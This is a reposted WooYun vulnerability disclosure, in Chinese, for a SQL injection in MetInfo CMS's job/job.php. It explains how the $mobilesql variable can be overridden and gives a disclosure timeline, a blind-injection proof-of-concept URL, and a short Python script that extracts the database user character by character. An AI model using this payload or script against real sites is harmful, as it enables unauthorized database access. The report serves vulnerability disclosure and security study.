Metinfo SQL注入漏洞

admin
admin
admin
144121
文章
118
评论
2015年6月9日21:32:42评论389 views字数 252阅读0分50秒阅读模式
摘要

2014-09-05： 细节已通知厂商并且等待厂商处理中
2014-09-08： 厂商已经确认，细节仅向厂商公开
2014-09-11： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2014-11-02： 细节向核心白帽子及相关领域专家公开
2014-11-12： 细节向普通白帽子公开
2014-11-22： 细节向实习白帽子公开
2014-12-02： 细节向公众公开

漏洞概要 关注数(8) 关注此漏洞

缺陷编号： WooYun-2014-74909

漏洞标题： Metinfo SQL注入漏洞 Metinfo SQL注入漏洞

相关厂商： MetInfo

漏洞作者： magerx

提交时间： 2014-09-05 17:31

公开时间： 2014-12-02 17:32

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 10

漏洞状态： 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： php+数字类型注射 安全意识不足 php源码分析 安全意识不足

4人收藏

漏洞详情

披露状态：

2014-09-05： 细节已通知厂商并且等待厂商处理中
2014-09-08： 厂商已经确认，细节仅向厂商公开
2014-09-11： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2014-11-02： 细节向核心白帽子及相关领域专家公开
2014-11-12： 细节向普通白帽子公开
2014-11-22： 细节向实习白帽子公开
2014-12-02： 细节向公众公开

简要描述：

sql injection :: wooyun通用型又更坚挺了 继续支持下

详细说明：

job/job.php

code 区域 
<?php
 # MetInfo Enterprise Content Management System 
 # Copyright (C) MetInfo Co.,Ltd (http://**.**.**.**). All rights reserved. 
 require_once '../include/common.inc.php';
 $classaccess= $db->get_one("SELECT * FROM $met_column WHERE module='6' and lang='$lang'");
 $metaccess=$classaccess[access];
 $class1=$classaccess[id];
 
 require_once '../include/head.php';
  $guanlian=$class_list[$class1][releclass];
  $class1_info=$class_list[$class1][releclass]?$class_list[$class_list[$class1][releclass]]:$class_list[$class1];
  $class2_info=$class_list[$class1][releclass]?$class_list[$class1]:$class_list[$class2];
  if(!class1_info){
  okinfo('../',$lang_error);
  }
     $serch_sql=" where lang='$lang' {$mobilesql} and displaytype='1' and ((TO_DAYS(NOW())-TO_DAYS(`addtime`)< useful_life) OR useful_life=0) ";
  if($met_member_use==2)$serch_sql .= " and access<=$metinfo_member_type";
  $order_sql="order by no_order desc,addtime desc";
     $total_count = $db->counter($met_job, "$serch_sql", "*");
  $totaltop_count = $db->counter($met_job, "$serch_sql and top_ok='1'", "*");

重点看下这一句：

code 区域 
$serch_sql=" where lang='$lang' {$mobilesql} and displaytype='1' and ((TO_DAYS(NOW())-TO_DAYS(`addtime`)< useful_life) OR useful_life=0) ";

找了半天没有看到$mobilesql的声明，根本没有初始值，后来发现原来metinfo会有类似全局变量注册的机制，导致这里可以通过get/post等覆盖$mobilesql

由于这里是直接拼接起来的所以可以不用考虑gpc开关，直接是一个逻辑盲注，当然要考虑很多关键字过滤。

漏洞证明：

poc:

code 区域 
http://localhost/metinfo/job/job.php?mobilesql=and%20ord(mid(user(),1,1))=114

这样会返回正确页面

刚好有时间就随手写了个利用,偷懒就写得比较简单

exp:

code 区域 
import urllib2
 import re
 
 def inject(payload):
     url = 'http://localhost/metinfo/job/job.php?mobilesql='
     print url+payload
     req = urllib2.Request(url+payload)
     response = urllib2.urlopen(req)
     content = response.read()
     return content
 
 wordlist = '@abcdefghijklmnopqrst'
 
 def user():
     result = ""
     for i in range(1,15):
         for num in range(len(wordlist)):
             keyword = ord(wordlist[num])
             content = inject("and%20ord(mid(user(),{0},1))={1}".format(i,keyword))
             match = re.search('list top',content)
             if match:
                 print str(i)+'===========>'+chr(keyword)
                 result = result+chr(keyword)
                 break
     print 'current_user:===========>'+result
 
 user()

结果如图：

Metinfo SQL注入漏洞

修复方案：

0.0

版权声明：转载请注明来源 magerx@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-09-08 09:35

厂商回复：

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

  1. 2014-09-21 10:50 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)

    0

    话说漏洞是在后台还是前台? o.o

  2. 2014-10-15 15:26 | ToySweet ( 实习白帽子 | Rank:36 漏洞数:8 | 做有道德的安全研究员。)

    0

    又更坚挺了

  3. 2015-10-28 19:54 | 妹子快跑 ( 路人 | Rank:4 漏洞数:3 | 世界很大，你还很弱。)

    0

    貌似用户量很少，且只能获取当前登录的用户

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin